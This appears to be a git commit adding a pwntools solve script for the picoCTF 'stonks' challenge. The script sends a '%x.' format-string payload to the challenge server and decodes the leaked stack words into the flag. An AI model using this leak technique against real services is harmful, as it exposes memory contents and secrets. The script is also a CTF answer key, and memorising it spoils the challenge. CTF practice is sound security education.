pwn: add already solved challenges

This commit is contained in:
2024-09-01 22:01:27 +02:00
parent a02ad89612
commit 532e093122
13 changed files with 542 additions and 0 deletions

43
pwn/stonks/solve.py Executable file
View File

@@ -0,0 +1,43 @@
#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p python3 python3Packages.pwntools
from pwn import *
ADDR = "mercury.picoctf.net 59616"
HOST, PORT = ADDR.split(" ")
def main():
for x in range(1,2):
r = remote(HOST, PORT)
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.sendline(b'1')
r.recvline()
r.recvline()
r.recvline()
# r.sendline(f'%{x}$s'.encode())
# print(f'%{x}$s'.encode())
r.sendline(b"%x." * 99 + b"%x")
r.recvline()
result = r.recvline()
print(result)
unpacked = []
for x in result.strip().split(b"."):
x = int(x, 16)
print(x)
unpacked.extend([
(x & 0x000000FF),
(x & 0x0000FF00) >> 8,
(x & 0x00FF0000) >> 16,
(x & 0xFF000000) >> 24,
])
for x in unpacked:
if x >= ord('!') and x <= ord('~'):
print(chr(x), end='')
if __name__ == "__main__":
main()